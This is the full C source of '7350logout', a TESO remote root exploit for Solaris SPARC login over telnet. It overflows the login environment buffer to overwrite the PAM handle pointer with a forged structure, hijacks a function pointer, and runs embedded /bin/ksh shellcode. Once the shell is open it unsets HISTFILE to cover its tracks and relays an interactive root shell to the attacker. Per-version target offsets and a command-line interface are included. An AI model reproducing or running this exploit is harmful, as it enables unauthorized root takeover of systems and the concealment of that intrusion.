/* 7350logout - sparc/solaris login remote root exploit * * TESO CONFIDENTIAL - SOURCE MATERIALS * * This is unpublished proprietary source code of TESO Security. * * The contents of these coded instructions, statements and computer * programs may not be disclosed to third parties, copied or duplicated in * any form, in whole or in part, without the prior written permission of * TESO Security. This includes especially the Bugtraq mailing list, the * www.hack.co.za website and any public exploit archive. * * The distribution restrictions cover the entire file, including this * header notice. (This means, you are not allowed to reproduce the header). * * (C) COPYRIGHT TESO Security, 2001 * All Rights Reserved * ***************************************************************************** * 2001/12/19 -scut * * tested on: * * SunOS 5.7 Generic_106541-08 sun4u sparc SUNW,Ultra-1 * SunOS 5.8 Generic sun4m sparc SUNW,SPARCstation-10 * * TODO: get 2.5.1 binary, verify offsets against 2.5.1 and 2.6 * * on sol: cc -o 7 7.c -lnsl -lsocket */ #define VERSION "0.2.1" #include #include #include #include #include #include #include #include #include #include #include #include #include /* ok, here are the guts of our PAM power technique ;) * * 1. we expect this memory layout in the static .bss space: * [envbuf] 0x800 environment string buffer * [args] 63 * 0x04 environment pointer buffer * [pamh] 0x4 pam_handle pointer * * after doing a failed login, which sets up the pamh pointer properly, we * supply a large number of environment variables. this overwrites pamh with * a pointer to our string data. through encoding everything nasty in octal * chars, we can supply anything there, even NUL bytes. we setup a valid * pam_handle structure there, with some "to-survive-barely" data and a * fake AUTH module structure. this structure contains a pointer to our * static buffer again, slided by a few bytes. the function pointer which * is called by PAM functions read a pointer from this login-supplied address. * so this technique is basically binary-fixed, but only requires one exact * 4-byte-aligned offset to be known, the &args[0] address, which is normally * the .bss start + 0x800. -sc */ typedef struct { char * desc; /* distribution */ unsigned long int args; /* &args[0] buffer address */ unsigned char * shellcode; unsigned int shellcode_len; } tgt_type; /* 48 byte sparc/solaris pic execve shellcode, lsd-pl.net, thanks! */ unsigned char sparc_solaris_execve[] = "\x20\xbf\xff\xff" /* bn,a */ "\x20\xbf\xff\xff" /* bn,a */ "\x7f\xff\xff\xff" /* call */ "\x90\x03\xe0\x20" /* add %o7,32,%o0 */ "\x92\x02\x20\x10" /* add %o0,16,%o1 */ "\xc0\x22\x20\x08" /* st %g0,[%o0+8] */ "\xd0\x22\x20\x10" /* st %o0,[%o0+16] */ "\xc0\x22\x20\x14" /* st %g0,[%o0+20] */ "\x82\x10\x20\x0b" /* mov 0x0b,%g1 */ "\x91\xd0\x20\x08" /* ta 8 */ "/bin/ksh"; #define SH_INIT "unset HISTFILE;id;uname -a;uptime;\n" tgt_type targets[] = { /* solaris 2.4 uses libauth, a libpam precessor, which looks different. * i suppose it would be able to make this technique work with libauth, * but its not worth the effort (though they look very similar) { "Solaris 2.4 SPARC", 0x00026e78, sparc_solaris_execve, sizeof (sparc_solaris_execve) - 1 }, */ { "Solaris 2.6 SPARC", 0x00027620, sparc_solaris_execve, sizeof (sparc_solaris_execve) - 1 }, { "Solaris 2.7|2.8 SPARC", 0x000275c0, sparc_solaris_execve, sizeof (sparc_solaris_execve) - 1 }, { NULL, 0x00000000, NULL, 0 }, }; tgt_type target_manual = { "Manual target", 0x0, sparc_solaris_execve, sizeof (sparc_solaris_execve) - 1 }; unsigned long int args_manual = 0x0; char * dest = "127.0.0.1"; /* can be changed with -d */ int verbose = 0, debug = 0; /* prototypes */ void usage (char *progname); void shell (int sock); void hexdump (char *desc, unsigned char *data, unsigned int amount); void exploit (int fd); unsigned int exploit_pam (unsigned char *ww); unsigned int exploit_addstring (unsigned char *ww, unsigned char *str); unsigned int exploit_addbuf (unsigned char *ww, unsigned char *buf, unsigned int buf_len); unsigned int exploit_addbufquot (unsigned char *ww, unsigned char *buf, unsigned int buf_len); unsigned int exploit_addchars (unsigned char *ww, unsigned char wc, unsigned int count); unsigned int exploit_addraw (unsigned char *ww, unsigned char wc); unsigned int exploit_addchar (unsigned char *ww, unsigned char wc); unsigned int exploit_addptrs (unsigned char *ww, unsigned long int ptr, unsigned int count); unsigned int exploit_addptr (unsigned char *ww, unsigned long int ptr); ssize_t telnet_prompt (int fd, unsigned char *inbuf, unsigned int inbufsize, char *prompt); ssize_t telnet_read (int fd, unsigned char *inbuf, unsigned int inbufsize); int telnet_eatall (int fd, unsigned char *inbuf, unsigned int inbuf_len); void telnet_send (int fd, unsigned char type, unsigned char option); void tgt_list (void); unsigned long int net_resolve (char *host); int net_connect (struct sockaddr_in *cs, char *server, unsigned short int port, int sec); int net_rtimeout (int fd, int sec); int nwrite (int fd, unsigned char *ptr, unsigned int len); void usage (char *progname) { fprintf (stderr, "usage: %s [-h] [-v] [-D] [-p] [-t num] [-a addr] " "[-d dst]\n\n", progname); fprintf (stderr, "-h\tdisplay this usage\n" "-v\tincrease verbosity\n" "-D\tDEBUG mode\n" "-p\tspawn ttyloop directly (use when problem arise)\n" "-t num\tselect target type (zero for list)\n" "-a a\tacp option: set &args[0]\n" "\t(manual offset, try 0x27500-0x27700, " "0x8 then 0x4 steps)\n" "-d dst\tdestination ip or fqhn (default: 127.0.0.1)\n\n"); exit (EXIT_FAILURE); } int fastprompt = 0; tgt_type * tgt = NULL; int main (int argc, char *argv[]) { int fd, tgt_num = -1; char c; char * progname; unsigned char rbuf[4096]; #ifndef NOTAG fprintf (stderr, "7350logout - sparc/solaris login remote root " "(version "VERSION") -sc.\n" "team teso.\n\n"); #endif progname = argv[0]; if (argc < 2) usage (progname); while ((c = getopt (argc, argv, "ht:vDpa:d:")) != EOF) { switch (c) { case 'h': usage (progname); break; case 't': if (sscanf (optarg, "%u", &tgt_num) != 1) usage (progname); break; case 'v': verbose += 1; break; case 'D': debug = 1; break; case 'p': fastprompt = 1; break; case 'a': if (sscanf (optarg, "0x%lx", &args_manual) != 1) { fprintf (stderr, "give args address in 0x123 " "format, dumb pentester!\n"); exit (EXIT_FAILURE); } break; case 'd': dest = optarg; break; default: usage (progname); break; } } if (args_manual != 0) { tgt = &target_manual; tgt->args = args_manual; fprintf (stderr, "using manual target\n"); } else if (tgt_num <= 0 || (tgt_num >= (sizeof (targets) / sizeof (tgt_type)))) { if (tgt_num != 0) printf ("WARNING: target out of list. list:\n\n"); tgt_list (); exit (EXIT_SUCCESS); } else if (tgt == NULL) tgt = &targets[tgt_num - 1]; fd = net_connect (NULL, dest, 23, 20); if (fd <= 0) { fprintf (stderr, "failed to connect\n"); exit (EXIT_FAILURE); } /* catch initial telnet option processing, then wait for "login: " * prompt to appear */ telnet_prompt (fd, rbuf, sizeof (rbuf), "login: "); fprintf (stderr, "# detected first login prompt\n"); /* send one initial login attempt (to set pamh) */ write (fd, "foo 7350\n", 9); sleep (1); write (fd, "pass\n", 5); sleep (1); telnet_prompt (fd, rbuf, sizeof (rbuf), "login: "); fprintf (stderr, "# detected second login prompt\n"); if (debug) { fprintf (stderr, "### attach and press enter!\n"); getchar (); } exploit (fd); fprintf (stderr, "# send long login bait, waiting for password prompt\n"); if (fastprompt || debug) { fprintf (stderr, "# press enter at the prompt\n"); } else { telnet_prompt (fd, rbuf, sizeof (rbuf), "Password: "); fprintf (stderr, "# received password prompt, success?\n"); write (fd, "7350\n", 5); fprintf (stderr, "# waiting for shell " "(more than 5s hanging = failure)\n"); telnet_prompt (fd, rbuf, sizeof (rbuf), "#"); fprintf (stderr, "# detected shell prompt, successful exploitation\n"); fprintf (stderr, "###########################################" "################################\n"); write (fd, SH_INIT, strlen (SH_INIT)); } shell (fd); exit (EXIT_SUCCESS); } unsigned int envcount; #define MAXARGS 63 void exploit (int fd) { int n; unsigned char * ww; /* wbuf walker */ unsigned char wbuf[8192]; unsigned long retaddr; /* where to return to */ envcount = 0; memset (wbuf, '\x00', sizeof (wbuf)); ww = &wbuf[0]; ww += exploit_addstring (ww, "sP!"); for (n = 0 ; n < MAXARGS - 1 ; ++n) { ww += exploit_addraw (ww, '\x20'); ww += exploit_addchar (ww, 'a'); } /* with this environment setting we rewrite the 'pamh' pointer, so * the content of our string must be a valid pam_handle structure, * with various settings, so that we can take over a function pointer * which will later be triggered by pam_authenticate. complicated * stuff, uhhohh! */ ww += exploit_addraw (ww, '\x20'); ww += exploit_pam (ww); /* PADDING */ ww += exploit_addstring (ww, "PPP"); ww += exploit_addraw (ww, '\x20'); retaddr = tgt->args - 0x0800; /* = &envbuf[0] */ retaddr += envcount + 8; /* + written stuff + addr + pad */ if (debug) ww += exploit_addptr (ww, 0x41414140); else ww += exploit_addptr (ww, retaddr); fprintf (stderr, "# returning to 0x%08lx\n", retaddr); ww += exploit_addraw (ww, '\x20'); ww += exploit_addstring (ww, "PPP"); /* padding */ ww += exploit_addbufquot (ww, tgt->shellcode, tgt->shellcode_len); *ww++ = '\n'; n = ww - &wbuf[0]; if (verbose) hexdump ("sendbuffer", wbuf, n); nwrite (fd, wbuf, n); } #define PAM_USER 2 #define PAM_MAX_ITEMS 64 unsigned int exploit_pam (unsigned char *ww) { unsigned int n; unsigned char * wwo = ww; /* add pam_item ps_item[PAM_MAX_ITEMS] structures */ for (n = 0 ; n < PAM_MAX_ITEMS ; ++n) { if (n == PAM_USER) { ww += exploit_addptr (ww, tgt->args); ww += exploit_addptr (ww, 0x00000001); } else { ww += exploit_addchars (ww, '\x00', 8); } } /* pam_conf_info[0] (AUTH) = pameptr */ ww += exploit_addptr (ww, tgt->args + (64 * 4) - 0x18); /* pam_conf_info[1-3], ssd, fd, pam_env, * pam_client_message_version_number */ ww += exploit_addptrs (ww, 0x00000000, 3 + 4); return (ww - wwo); } unsigned int exploit_addstring (unsigned char *ww, unsigned char *str) { unsigned char * wwo = ww; ww += exploit_addbuf (ww, str, strlen (str)); return (ww - wwo); } unsigned int exploit_addbuf (unsigned char *ww, unsigned char *buf, unsigned int buf_len) { unsigned char * wwo; for (wwo = ww ; buf_len > 0 ; ++buf, --buf_len) ww += exploit_addchar (ww, *buf); return (ww - wwo); } unsigned int exploit_addbufquot (unsigned char *ww, unsigned char *buf, unsigned int buf_len) { unsigned char wc; unsigned char * wwo; for (wwo = ww ; buf_len > 0 ; --buf_len, ++buf) { wc = *buf; *ww++ = '\\'; *ww++ = ((wc & 0300) >> 6) + '0'; *ww++ = ((wc & 0070) >> 3) + '0'; *ww++ = (wc & 0007) + '0'; envcount += 1; } return (ww - wwo); } unsigned int exploit_addchars (unsigned char *ww, unsigned char wc, unsigned int count) { unsigned char * wwo; for (wwo = ww ; count > 0 ; --count) { ww += exploit_addchar (ww, wc); } return (ww - wwo); } unsigned int exploit_addraw (unsigned char *ww, unsigned char wc) { if (wc == '\x20' || *ww == '\x09') envcount += 1; *ww = wc; return (1); } unsigned int exploit_addchar (unsigned char *ww, unsigned char wc) { unsigned char * wwo = ww; switch (wc) { case ('\xff'): *ww++ = '\xff'; /* escape telnet iac crap */ *ww++ = '\xff'; break; case ('\\'): *ww++ = '\\'; *ww++ = '\\'; break; case ('\n'): case (' '): case ('\t'): *ww++ = '\\'; *ww++ = ((wc & 0300) >> 6) + '0'; *ww++ = ((wc & 0070) >> 3) + '0'; *ww++ = (wc & 0007) + '0'; break; default: *ww++ = wc; break; } envcount += 1; return (ww - wwo); } unsigned int exploit_addptrs (unsigned char *ww, unsigned long int ptr, unsigned int count) { unsigned char * wwo; for (wwo = ww ; count > 0 ; --count) { ww += exploit_addptr (ww, ptr); } return (ww - wwo); } unsigned int exploit_addptr (unsigned char *ww, unsigned long int ptr) { unsigned char * wwo = ww; /* big endian */ ww += exploit_addchar (ww, (ptr >> 24) & 0xff); ww += exploit_addchar (ww, (ptr >> 16) & 0xff); ww += exploit_addchar (ww, (ptr >> 8) & 0xff); ww += exploit_addchar (ww, ptr & 0xff); return (ww - wwo); } /* telnet_prompt * * loop in telnet i/o until a prompt appears, given by `prompt' parameter * else behave as telnet_read would */ ssize_t telnet_prompt (int fd, unsigned char *inbuf, unsigned int inbufsize, char *prompt) { ssize_t rtemp; do { rtemp = telnet_read (fd, inbuf, inbufsize); if (rtemp == 0) { fprintf (stderr, "failed telnet_prompt.\n"); exit (EXIT_FAILURE); } if (verbose >= 2) { fprintf (stderr, "rbuf: "); write (2, inbuf, rtemp); } } while (strstr (inbuf, prompt) == NULL); return (rtemp); } /* telnet_read * * read() function that takes care of all the telnet option negotiation crap * * return value just like read() */ ssize_t telnet_read (int fd, unsigned char *inbuf, unsigned int inbufsize) { ssize_t rc; int idleflag; int atecount; while ((idleflag = net_rtimeout (fd, 15)) == 1) { rc = read (fd, inbuf, inbufsize); if (verbose) hexdump ("from wire", inbuf, rc); atecount = telnet_eatall (fd, inbuf, rc); rc -= atecount; if (verbose) hexdump ("after processing", inbuf, rc); /* FIXME: correct? */ { int n; for (n = 0 ; n < rc ; ++n) { if (inbuf[n] == '\x00') inbuf[n] = '\x01'; } } if (rc > 0) return (rc); } if (idleflag == -1) fprintf (stderr, "# telnetd either died or invalid response\n"); return (rc); } /* telnet_eatall * * eat all telnet negotiation stuff and answer it, so we get through. * basically copied 1:1 from netcat. */ int telnet_eatall (int fd, unsigned char *inbuf, unsigned int inbuf_len) { int eat; int changed; for (eat = 0 ; inbuf_len > 2 ; ++inbuf, --inbuf_len) { changed = 0; if (inbuf[0] != IAC || inbuf_len < 2) continue; if (inbuf[1] == WILL && inbuf[2] == TELOPT_SGA) { inbuf[1] = DO; /* IAC WILL SUPPRESSGOAHEAD, DO IT! */ changed = 1; } else if (inbuf[1] == WILL && inbuf[2] == TELOPT_ECHO) { inbuf[1] = DO; /* IAC WILL ECHO, DO IT! */ changed = 1; } else if (inbuf[1] == WILL || inbuf[1] == WONT) { inbuf[1] = DONT; changed = 1; } else if (inbuf[1] == DO || inbuf[1] == DONT) { inbuf[1] = WONT; changed = 1; } if (changed) write (fd, inbuf, 3); if (inbuf_len > 3) memmove (&inbuf[0], &inbuf[3], inbuf_len - 3); --inbuf; inbuf_len -= 2; eat += 3; } return (eat); } void telnet_send (int fd, unsigned char type, unsigned char option) { unsigned char buf[3]; buf[0] = IAC; buf[1] = type; buf[2] = option; write (fd, buf, sizeof (buf)); } void tgt_list (void) { int tgt_num; printf ("num . description\n"); printf ("----+-----------------------------------------------" "--------\n"); for (tgt_num = 0 ; targets[tgt_num].desc != NULL ; ++tgt_num) { printf ("%3d | %s\n", tgt_num + 1, targets[tgt_num].desc); if (verbose) printf (" : 0x%08lx\n", targets[tgt_num].args); } printf (" '\n"); return; } void shell (int sock) { int l; char buf[512]; fd_set rfds; while (1) { FD_SET (0, &rfds); FD_SET (sock, &rfds); select (sock + 1, &rfds, NULL, NULL, NULL); if (FD_ISSET (0, &rfds)) { l = read (0, buf, sizeof (buf)); if (l <= 0) { perror ("read user"); exit (EXIT_FAILURE); } write (sock, buf, l); } if (FD_ISSET (sock, &rfds)) { l = telnet_read (sock, buf, sizeof (buf)); if (l <= 0) { perror ("read remote"); exit (EXIT_FAILURE); } write (1, buf, l); } } } /* ripped from zodiac */ void hexdump (char *desc, unsigned char *data, unsigned int amount) { unsigned int dp, p; /* data pointer */ const char trans[] = "................................ !\"#$%&'()*+,-./0123456789" ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm" "nopqrstuvwxyz{|}~...................................." "....................................................." "........................................"; printf ("/* %s, %u bytes */\n", desc, amount); for (dp = 1; dp <= amount; dp++) { fprintf (stderr, "%02x ", data[dp-1]); if ((dp % 8) == 0) fprintf (stderr, " "); if ((dp % 16) == 0) { fprintf (stderr, "| "); p = dp; for (dp -= 16; dp < p; dp++) fprintf (stderr, "%c", trans[data[dp]]); fflush (stderr); fprintf (stderr, "\n"); } fflush (stderr); } if ((amount % 16) != 0) { p = dp = 16 - (amount % 16); for (dp = p; dp > 0; dp--) { fprintf (stderr, " "); if (((dp % 8) == 0) && (p != 8)) fprintf (stderr, " "); fflush (stderr); } fprintf (stderr, " | "); for (dp = (amount - (16 - p)); dp < amount; dp++) fprintf (stderr, "%c", trans[data[dp]]); fflush (stderr); } fprintf (stderr, "\n"); return; } unsigned long int net_resolve (char *host) { long i; struct hostent *he; i = inet_addr(host); if (i == -1) { he = gethostbyname(host); if (he == NULL) { return (0); } else { return (*(unsigned long *) he->h_addr); } } return (i); } int net_connect (struct sockaddr_in *cs, char *server, unsigned short int port, int sec) { int n, len, error, flags; int fd; struct timeval tv; fd_set rset, wset; struct sockaddr_in csa; if (cs == NULL) cs = &csa; /* first allocate a socket */ cs->sin_family = AF_INET; cs->sin_port = htons (port); fd = socket (cs->sin_family, SOCK_STREAM, 0); if (fd == -1) return (-1); if (!(cs->sin_addr.s_addr = net_resolve (server))) { close (fd); return (-1); } flags = fcntl (fd, F_GETFL, 0); if (flags == -1) { close (fd); return (-1); } n = fcntl (fd, F_SETFL, flags | O_NONBLOCK); if (n == -1) { close (fd); return (-1); } error = 0; n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in)); if (n < 0) { if (errno != EINPROGRESS) { close (fd); return (-1); } } if (n == 0) goto done; FD_ZERO(&rset); FD_ZERO(&wset); FD_SET(fd, &rset); FD_SET(fd, &wset); tv.tv_sec = sec; tv.tv_usec = 0; n = select(fd + 1, &rset, &wset, NULL, &tv); if (n == 0) { close(fd); errno = ETIMEDOUT; return (-1); } if (n == -1) return (-1); if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) { if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) { len = sizeof(error); if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) { errno = ETIMEDOUT; return (-1); } if (error == 0) { goto done; } else { errno = error; return (-1); } } } else return (-1); done: n = fcntl(fd, F_SETFL, flags); if (n == -1) return (-1); return (fd); } int net_rtimeout (int fd, int sec) { fd_set rset; struct timeval tv; int n, error, flags; error = 0; flags = fcntl(fd, F_GETFL, 0); n = fcntl(fd, F_SETFL, flags | O_NONBLOCK); if (n == -1) return (-1); FD_ZERO(&rset); FD_SET(fd, &rset); tv.tv_sec = sec; tv.tv_usec = 0; /* now we wait until more data is received then the tcp low level watermark, * which should be setted to 1 in this case (1 is default) */ n = select(fd + 1, &rset, NULL, NULL, &tv); if (n == 0) { n = fcntl(fd, F_SETFL, flags); if (n == -1) return (-1); errno = ETIMEDOUT; return (-1); } if (n == -1) { return (-1); } /* socket readable ? */ if (FD_ISSET(fd, &rset)) { n = fcntl(fd, F_SETFL, flags); if (n == -1) return (-1); return (1); } else { n = fcntl(fd, F_SETFL, flags); if (n == -1) return (-1); errno = ETIMEDOUT; return (-1); } } int nwrite (int fd, unsigned char *ptr, unsigned int len) { ssize_t retval, nwr = 0; static int flipcount = 0; if (verbose) hexdump ("to wire", ptr, len); while (len > 0) { telnet_send (fd, flipcount ? WILL : WONT, TELOPT_BINARY); flipcount = flipcount ? 0 : 1; retval = write (fd, ptr, len > 0x100 ? 0x100 : len); if (retval <= 0) return (retval); ptr += retval; len -= retval; nwr += retval; } return (nwr); }